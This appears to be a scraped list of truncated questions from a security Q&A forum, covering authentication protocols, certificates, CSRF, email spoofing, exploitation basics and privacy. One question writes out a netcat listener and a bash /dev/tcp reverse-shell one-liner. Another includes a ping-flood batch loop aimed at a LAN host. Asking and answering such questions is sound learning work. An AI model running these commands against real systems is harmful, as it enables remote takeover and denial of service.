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I have a question dealing with the EAP-AKA' used in 5G to authenticate clients coming from a 3GPP-Network. I read the latest specification on ETSI. The problem which I have is based on Step 2 on Page 37/38, where it says (at least I understood it like that), that when the UDM/ARPF got the SUCI it shall continue as show...
A previously asked question touches on topics which are very similar to what I am having trouble understanding. In a web application I am testing, SAML SSO is brokered using Keycloak. The SAML Response messages contain Encrypted Assertions (<saml:EncryptedAssertion>). Before the encrypted assertion is a Signature (<dsi...
I've coded my app to use https, but if a https transaction fails for any reason, I assume it's because the server isn't configured for https, and thereafter start all transactions with http. Seems like that's a vulnerability. Likewise, a script kiddie using a proxy to intercept the traffic on his client hardware would ...
While running the following command on Ubuntu 19.10, with OpenSSl 1.1.1c 28 May 2019: openssl req -config ${CNF_FILE} -key ${PRIVATE_FILE} -new -x509 -days 10950 -sha384 -extensions v3_ca -out ${CERT_FILE} I receive the following output: Error Loading extension section v3_ca 140710502360256:error:22097082:X509 V3 rou...
Let's say that we want to develop a blogging service where only people with an @example.com email can contribute. Prior to post submission, the user requests that a large random token be generated by the service and sent to their user@example.com email. This token is stored in the service's database and can then be use...
I have installed a Windows machine with update 1909 (build 18363.720 (March 2020) (On which I try to find vulnerabilities with nmap), which includes smb 3.1.1 with the latest fixed bugs. I created a shared folder on this machine and made the various configurations on the firewall so that the shared folder can be access...
I have a "cloud service", which consists of 2 parts: Web application, written in Next.js; MongoDB database (uses MongoDB Atlas). I allow users to sign in with GitHub and handle authentication using JWT. User can create & delete text files, which are saved in the database as so: { "name": string, "content": st...
I have recently started using Burp as a proxy for hunting bugs on websites and I see many submissions where people have intercepted and modified requests/responses to exploit certain logic flaws in web applications. However, this is possible only because we have installed Burp's certificate in our browser that allows i...
I am surprised that I couldn't find one concrete example of how to do root certificate rotation. For example: Root CA has 2 years validity period Intermediate CA has 9 months validity period leaf certificate has a 3 months validity period The renwal/replace time are: Root CA is going to be replaced every 1 year Inte...
I got a strange email and I just want to confirm my suspicions. For background, I have my own email server which I set up using iRedMail on a VPS. I have an acquaintance who most likely has me on their address book, although I don't have them on mine. I got a highly suspect email with "Urgent! <acquaintance's name>" as...
Let's assume an insecure communication channel. Alice makes a public key (we assume is PGP, but any asymmetric crypto could be used unless it doesn't have fingerprints for checking) and sends it to Bob. Then, Alice sends to Bob a photo of her key's fingerprint so Bob can check if a MITM attack occurred replacing the ke...
Some of my colleague give me 2 file of private key (one is encrypted and the other is decrypted) and a passphrase. But it seems that is the wrong passphrase. Is it even possible to recover the pass phrase with the ecrypted and decrypted private key files?
I just received my YubiKey and was playing with it. It works brilliantly but I couldn't help thinking what would happen if I would lose the key. Well, for Google you can print out some backup codes, so that's covered. But then I wanted to simulate a lost key for Amazon AWS. Apparently there is a page that allows you to...
This is a follow up question related to this answer. In short: I am importing the self signed Root CA certificate into android system via Settings -> Security -> Trusted Credentials -> install from SD path slightly differs on different android versions. Then point any browser (tested with Firefox, chrome and opera) to ...
I am currently working remotely and logging into my machine in the office through Cisco AnyConnect VPN. I was wonder what information can the company see. For example, do they have access to my traffic when not logged into my office machine through the vpn. Can they see my original IP address and where I am working fro...
I recently received a PDF file that, when attached to a gmail message, causes a warning to be displayed as follows: Encrypted attachment warning – Be careful with this attachment. This message contains 1 encrypted attachment that can't be scanned for malicious content. Avoid downloading it unless you know the sender a...
Here I see: If you believe you have found a security vulnerability that meets Microsoft's definition of a security vulnerability, please submit the report to MSRC at https://msrc.microsoft.com/create-report Also here: We want to know about a security vulnerability as soon as you’ve found it. But.. When signing into...
I had a typo and npm installed something that is similar in name to something very popular -- I was concerned about typosquatting. It's quite plausibly legitimate and just a coincidence. I looked at the corresponding package and didn't see anything wrong, though of course bad things can be hidden. I use nvm. I npm in...
I have stumbled upon a vulnerability in a web application and was wondering if it was exploitable / worth reporting. The bug is a CSRF which would allow an attacker to send friend requests to himself from other user accounts (in turn letting him view sensitive information about the victim accounts). The request is usua...
I noticed that Amazon's password reset relies on a 6 digit numeric PIN. Doesn't this reduce every user's account to a 1 in 10^5~ chance of being accessed through brute force guess factoring in a few retries (requesting OTP resend)? It seems that they put a captcha ahead of this and probably have some timeout where the ...
I have limited client devices and one server. I want to create a client-server secure connection while app installation but don't want human-interaction between devices and server like registration or login. After installation app, this client device should be already authenticated. Also want to avoid incorrect/fake de...
After a user logons to cognito, he receives access and ID tokens. the ID token contains sensitive info like phone number, email, etc.. From all standards - ID token should not be used to gain access to an API: https://auth0.com/docs/tokens?_ga=2.253547273.1898510496.1593591557-1741611737.1593591372 In the backend, to g...
Is there a source that monitors popular root stores for CAs controlled by government agencies? There are several "root stores" that maintain a list of trusted root CAs. These root stores are imported and used by thousands (millions?) of apps to determine which https certificates are trusted. Their contents has a huge i...
For client-side web applications that run in your machine (that you download at first visit - Blazor WebAssembly to be specific): Do I need to enable SSL (HTTPS) for this application or web server that hosts this application as well, or is it not needed in the end? Does only having API connection encrypted be enough? ...
Can you set a custom x-forwarded-host header in a CSRF form page (not xhr)?
We have a series of services exposed as web servers. Potentially, every web app could contact and be contacted by any other one. I want to secure the communications between the applications, which means ensuring that both parties are who they say they are. I want my applications to only be allowed to communicate betwee...
Good morning, my goal is to parse pgp keys but I am facing two problems. I don't know how pgp keys are encoded (for starters I deal with pgp keys generated by Rsa only) and nor do I know how to read the value of its main parameters To be more precise, with a RSA key, the instruction: openssl rsa -in name -text -noou...
One of our customers has the following requirement: according to SOC2 they need to block access to the CentOS root account. They mean any access, even with su root or sudo su. We have blocked the SSH access, but they claim it is not enough. Do you know where in SOC2 possible to find the requirements to block access to ...
I recently jumped onto the hypetrain for an unnamed email service and am currently on my way to update all my accounts on various websites to get most of my (future) data off Google's Gmail. During this adventure I came across a couple user-flows of changing your e-mail address which I would like to share (amounts like...
Everyone might have heard about Ripple20 vulnerability which has impacted millions of IoT devices. I know that using Nessus or Qualys, it is possible to identify this vulnerability. Is it possible to discover Ripple20 using tools such as Nmap or Wireshark?
I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP. Locally over TCP: Attacker terminal runs netcat to listen for a connection over port 8000: nc -vv -l 8000 Target terminal sends an interactive bash shell to the attacker: bash -i >& /dev/tcp/localhost/8000 0>&1; Su...
I have a telnet port open to my PC using the TCPClient in latest version of .net, it is only used for receiving text then parsing it and adding it into an SQL Database, my telnet server does not reply to the client in anyway. Apart from an SQL injection attack are there any major concerns I should be worried about rega...
I'm working on a project to implement SDN in a network. One of my flows is redirecting to the Suricata IDS and the flow works in layer 2 with MAC address. Since I've read that Snort only works in layer 3, I would like to know if it's possible to write a rule on Suricata that filters on MAC address of source and destina...
I have a web site and a service in a server. I'm developing the "Register User" and "Login" components. I've searched on the internet and I've found two protocols to login user using 'nonce' and 'salt', here and here. I've also found two explanations in order to use SSL/TLS, here and here, and bcrypt. I believe these t...
I have a typical IoT set up where a set of IoT devices running embedded Linux are connected to a cloud IoT server. The underlying carrier connection to the internet is over GSM. All communication to the server is secured with TLS implementation including the mutual authentication with server. The devices generate and s...
I receive emails from my bank with password protected PDF files, and they provide two passwords - either xxxx or yyyy. How is this possible?
Is there a native way, that is, one not requiring the purchase of an expensive third-party obfuscator, that a .NET desktop client program, deployed to the users' Windows desktops from a LAN server via ClickOnce, can store a symmetric key without running the risk of that key being obtained by someone with a disassemble...
Does it make sense to combine ZFS with LUKS2 for completely random-looking encryption on HDDs ? (Without luks-header on the disk of course, header placed elsewhere). The goal is to make a HDD really look like random data, since as I've learned ZFS built-in encryption is still telling us that it's actually a ZFS encryp...
Assuming there is a powerful adversary who can arbitrarily manipulate the sequence number of each tcp packet, then the following packet-reorder attack should be possible, right? Assuming the packet the attacker wants to disorder has the tcp sequence number n, he first allows the n+1, n+2, ..., n+m packets to be sent ou...
I'm wondering if using Javascript closures is a useful technique to limit exposing data to XSS? I realize it wouldn't prevent an attack, but would it reliably make an attack more difficult to execute, or would it only make my code more irritating to write and read (a waste of time)? I got the idea from the Auth0 docume...
I'm building a system that generates PGP key and store private key in secret vault. One thing I'm not fully understanding is the need for passphrase. I can generate a random passphrase during the key generation and then store it in the secret vault along side with the private key, but I'm wondering if it has any benefi...
I have multiple devices - a Samsung and a Lenovo tab, an Amazon Alexa, an HP laptop running Windows 7, and another running Windows 10. Bored, I tried to DoS my Windows 10 laptop using my Windows 7 laptop. I did it using a batch file with the ping command, like so: :loop ping 192.168.0.1 -l 65500 -w 100 -n 1 goto :loop ...
Imagine we have a dev team developers team lead scrum master ... When a new feature is planned to be implemented, should it be sent to the security team by the dev team lead (to evaluate whether it needs to be tested) or the someone from the security team should seek for them by himself by attending to meetings? We ...
I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)? The tool doesn't support output as JSON, and running the tool as API server, the results are in JSON format but it still reports all findings (basi...
I'm currently building a website where you have an account and can do "dangerous" things with it. I want to password-protect these things, so the user has to type their password, if they want to continue. I couldn't find any ressources on this, so I came up with this idea. My method works this way: User navigates to d...
Data protection laws including GDPR state: “Personal data shall be obtained only for one or more specified and lawful purposes, and shall not be further processed in any manner incompatible with that purpose or those purposes.” GDPR stipulates data should not be used in non-production systems unless anonymized or throu...
I have spent the last few days setting up a freeradius server with eap-tls as the only authentication method. I have used this old tutorial for setting up my own CA and generating the certificates and adjusted the older parameters to match the current ones. So far I managed to authenticate my iPhone 6 running iOS 11.1....
With enormous amounts of fighting with Windows/Microsoft Defender, I finally managed to download the "test virus" file from https://www.ikarussecurity.com/en/private-customers/download-test-viruses/ onto my desktop. However, Defender (on the command line) still just says: Scanning C:\Users\John Doe\Desktop\eicar_com.zi...
I'm currently doing research on evasion attacks that seek to bypass a Deep-learning based Network Intrusion Detection System. In order to achieve this, I need to know what the constraints are for the TCP window size field in the TCP packet header. Imagine a client has just sent the last TCP-ACK packet to a server in or...
I own a ZTE Axon 7 (model 2017G) that I purchased secondhand from a reputable vendor in Germany ca. 3 years ago. The phone has been working well, and I updated the OS to Android 8.0. manually earlier this year using an official image from ZTE. A severe case of butterfingers affected me yesterday (and I guess today), an...
where do I find information on all the fields that I can use shodan to search by? For example I can find a specific ssl vendor's certificates with ssl.cert.issuer.CN=asdf but what other fields can I search by? Honestly Shodan's documentation is driving me nuts. It's so tutorial driven, and that's not what I need.
I am about to sign up for an online school, which is an accredited statewide online school, and notice that the password they want me to enter is fully visible on the form. Should I be concern about their information security? Does a form like this indicates that the way the way the school protects students' data is no...
I am asking this question because in this article https://engineering.fb.com/security/delegated-credentials/ there is a sentence stating "We securely distribute private keys to the servers". I am trying to understand how that is done.
I'm working on a legacy application that issues JWTs with a short expiry time. They do not have refresh token functionality implemented. So obviously while using refresh tokens would be the right solution, for the sake of argument assume that's not going to happen. It occurs to me that 'Hey I could just store the usern...
I use an Apache proxy to funnel traffic to an IIS server. The IIS server sends me emails if some bad actor attacks my site with an sql injection attack. It captures their IP address, and sends me the URL that was used. The other day I got 8,400 emails in 50 minutes, nothing my mail server can't handle, but all from som...
I've tried searching for methods of scanning files within virtualbox, but most (if not all) of what I find is discussion about studying programs that are already known to be malware. I'm trying to determine if something is malware or not, and I don't exactly know what to do to determine this manually rather than just r...
Today I received an email from a person in "critical health condition" who wants to give me about $10 million. It is clearly some kind of scam. What should I do with the email besides not replying? Is there an organization I can report the spam to? Perhaps some kind of international spam-fighting organization or a glob...
Several sites, like this states that You can obtain a digital signature from a reputable certificate authority such as Sectigo But digital signature is something you create using a piece of text and your private key using a signing algorithm. How can I obtain a digital signature from a CA? Shouldn't I just be receivi...
I'm studying Internet Security and I learned something about code injection in older websites (using the string ' OR 1 == 1 // as a username will log in with any password provided); but what if a password related to a username is stored in the server in a folder with the following path: /userdata/passwords/<username> ...
I'm seeing a lot of tech support scam videos on YouTube, which made me think; do legitimate tech support companies use remote control for regular customer service calls? I remember calling Lenovo tech support from their website a while back (I double checked it was their official site because I'm paranoid) and they had...
Despite best efforts it is pretty clear that most users reuse their credentials, especially for what they consider non-critical sites such as forums. While TFA does mitigate the potential damage of this a bit (aside from its other benefits of course), a compromised database of one providing using TFA can still lead to ...
I am trying to reproduce HTTP request smuggling using an Apache HTTP Server as a reverse proxy (using mod_proxy) and a Tomcat Server in the back-end. Is it possible to force either Apache Server or Tomcat to ignore Transfer-Encoding in requests (and only use Content-Length)? Or is request smuggling simply not possible ...
Can't we design an OS in such a way that it doesn't allow anyone (not even root) to read the passwords file? Then there will be no need for encrypting the passwords. Why can't we hard-code a computer to hide it's password file? I was reading "Cuckoo's egg" by Clifford Stoll. On page 32, I didn't understand why encrypti...
Most tutorials on the net only mention sending the digital signature attached to the document, but without the digital signature certificate, it'll be impossible for receivers to verify the signature. I'm assuming that the digital certificate is somehow sent alongside the signature but I can't seem to find any source m...
After a vulnerabilities scan, I found that the csfcfc cookie does not have the Secure attribute. JSESSIONID has httpOnly and Secure attributes. Is there a way to force it? I found an answer for JBoss but can't find anything about Glassfish. This is the session-config in my web.xml: <session-config> <session-timeou...
Having created a certificate for electronic signing within Adobe Acrobat DC, can I authenticate documents signed using it by issuing a signed paper statement to recipients stating that it would be authentic if the properties of the e-signature show the public key to be 'xxxxx'? In other words, could another party creat...
Recently Signal started forcing users to create a pin. I'm curious about the feature - doesn't it make Signal less secure if their database gets compromised? In other words, suppose that I'm chatting with someone from my family and they set their pin to 1234. If Signal's database leaks, is it possible to brute-force pa...
Usual password authentication systems do not store passwords directly on the server, but only hashes of those passwords. Why do fingerprint authentication systems not offer this possibility?
On 2nd July, the UK's national news outlets broke the story of an "unprecedented" 4-year-long, Europe-wide investigation that, in the UK, resulted in the arrest of 746 criminals, including many high-profile "kingpins" of the criminal underworld as well as corrupt police officers. According to The Mirror: NCA Director ...
I'm a senior undergraduate majoring in computer science. I recently took a computer security class where instead of exams we had a final project that could be anything related to computer security. So for our project, we designed a cloud based password manager that works on almost every existing site with the key idea ...
We have a website hosted behind WAF(FortiWeb) and Firewall (FortiGate). The WAF already has the server valid SSL Certificate from public CA. Do we need to install SSL certificate on Firewall also for inbound traffic to make it more secure ? Will Unscanned https traffic reach the firewall first compromise the network ?...
I understand GCM Crypto uses ESP Encryption only for ESP and Authentication algorithm. whereas AES 256 SHA256 uses AES for ESP Encrypt and SHA256 for Auth algorithm. Could someone help clarify the reason of getting a better performance with AES256GCM as compared to ASE256SHA256.
I am trying to create a web form, where the user can login without creating/entering a password. Assume the following pre-requisites are met: The user and server have pre-generated a public/private key pair (on curve ed25519). The user and server both know each others public keys. A simple protocol might look like th...
If I use only a computer, can I disable the password when I log in? That is, the user account has a password, but in the settings I turn on autologin: /etc/lightdm/lightdm.conf [Seat:*] autologin-user=user autologin-user-timeout=0 Is this an Internet attack vulnerability?
Assuming ISP gives only 1 external IP and you have few devices that use this IP. So you will have a router and few PC's with same external IP and different local IP. When all PC's are online and one of them are vulnerable to EternalBlue, Bluekeep or something else. When attacker scans external IP. Will he see that IP i...
I'm questioning the password used in a key derivation function, whether It makes sense to make it unique for every generated symmetric key and why
I obtained an SSL certificate from LetsEncrypt for my web application using Apache web server. LetsEncrypt generated these 4 files: cert.pem chain.pem fullchain.pem privkey.pem As I understand, cert.pem is the public key. Now I tried to verify that this public key is indeed being served by openssl s_client -connec...
I'm developing a business web application for my client, in which he can upload images (e.g. floor plans, photos of object etc.) and documents of different objects (word, excel etc.). The images should be displayed when someone logs in the website and selects an object. I'm using the Google Cloud Storage platform as th...
I keep reading that in an X.509 certificate chain of trust that the "Issuer Name" in a certificate that has been signed by the Issuer must "match" the "Subject Name" of the Issuer's certificate. Exactly how is this match determined? Do all of the RDNs (Relative Distinguished Names) have to match between both the Subj...
Is it possible to hide strings of text in one picture without coupling the strings in a file? I have only been able to find tools that allow for one.
I have cleared all the cookies on my Chrome browser, closed the browser and opened Chrome, navigated to chrome://settings/siteData I see two new Facebook fr and sb cookies created right away, before visiting Facebook. How did these two cookies get created?
I'm building a user authentication system in Nodejs and use a confirmation email to verify a new account is real. The user creates an account, which prompts him/her to check the email for a URL that he/she clicks to verify the account. It works great, no issues. What's unusual is that in testing, when I email myself (t...
I've just started in penetration testing with metasploitable and currently trying to learn file upload vulnerability present in DVWA module. I know that somehow upload is preventing files other than images to be uploaded but I don't understand how. I tried to look page source of 'upload file' webpage but I don't see an...
I am using the most verbose debug option of ssh (concretely: OpenSSH_8.2p1) ssh -vvv and I am wondering what information the output exposes. Of course the output contains the username and the server one is trying to connect to, however there is quite a lot more. What information is exposed by this debug information? Wh...
I have been learning and implementing Process Hollowing attacks, and even after I got the thing work, I have some questions. Why aren't we building the IAT when we load our injected PE? All we do is copy the headers and the sections, fix reallocations (if there is a need in some) but never touching the IAT. I don't un...
I've read articles suggesting that passwords will eventually go the way of the dinosaur only to be replaced by biometrics, PINs, and other methods of authentication. This piece claims that Microsoft, Google, and Apple are decreasing password dependency because passwords are expensive (to change) and present a high secu...
Problem When I browse this forum, I constantly read about the weaknesses of popular "secure" messaging applications such as Signal, Telegram, and WhatsApp. Some of the most notable critiques regarding their design and operation are: Phone number requirement. Privacy is fundamentally compromised by necessitating users ...
One of the companies I worked for used client-side hashing to minimize risk when logging the password in the server logs. Can this be a good reason to implement client-side hashing?
I have a system with an uploading file feature and it's protected by an antivirus that scans the uploaded files. The AV detects malicious files like EICAR files, msfvenom payloads...but not a JS file with an XSS inside. I would like to know why that is.
I'm starting to learn about buffer overflow, and I'm trying to change the contents of the return address to a specific location using gdb, but the problem is that the address starts with some zeros. For example, I want to change the return address to: 0x0000555555554816. I tried to use Perl and passing this address as ...
I am writing a mobile app that uses a read only REST service that sits behind our company firewall. The actual data supplied by the REST service is not private but I am concerned with a hacker using it to get behind the firewall. I have found lots of ideas on how to use JWTs to secure REST. Are these methods typically...
I'm working on some software that can be self-hosted, and it includes a component that can be downloaded and installed on end user machines (Windows only). The download comes from the self-hosted server, not from a central location, and that cannot change. How can we verify that the .msi the program downloads to update...
I'm new to Software security and I'm studying it now at the university. I had some doubts about the Format String exploit, in particular how to count the length (in number of bytes) of a format string exploit. Suppose that I have the following vulnerable code: 04 int guess(char *user) { 05 struct { 06 int ...
We have 3-4 S/4 HANA applications in our environment and want to enable HTTP Security Headers, but couldn't figure out how to go about it. We then approached SAP directly and even their solutions are not working, and their support team has a pretty vague and dissatisfactory answer,they said that the application doesn't...
I'm attempting to register an e-mail account without destroying my privacy. The reason is simply that one is necessary to be able to register on a different service (web host for my new, very non-shady business venture). Tutanota, ProtonMail and Hushmail are apparently the only (serious-looking) services in existence w...
I’ve been looking to purchase a new laptop and I need to have security in mind. I’ve specifically been looking for laptops with discrete or integrated TPM because it’s been my understanding that TPM would improve disk encryption security, but after doing some more research I’ve heard a lot of sources saying that it doe...
I used an SPF record finder online, and the result of this test was they already have an SPF record but I still can send an email as their domain exactly! So, do SPF records prevent email spoofing attacks? If it does, why can I still send an email as their domain? If it doesn't, how can we really prevent email spoofing...
In a Samsung Galaxy S series, I've noticed a notification saying that your network might have been watched and is not safe. Is it possible for someone to remotely install a certificate and eavesdropping on communications? What if he controls the mobile communication network ISP? Communications are encrypted, though a m...
This link says that the requesting server creates the public-private key pair and sends the public key to the CA inside the CSR. However, DigiCert says: The CSR is submitted to a Certificate Authority (CA) which uses it to create a public key to match the private key without compromising the key itself. I'm confused....
I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks). I tried to call a site on localhost from a HTML file (at file://), and from what I see the Authorization header is sent. Is...

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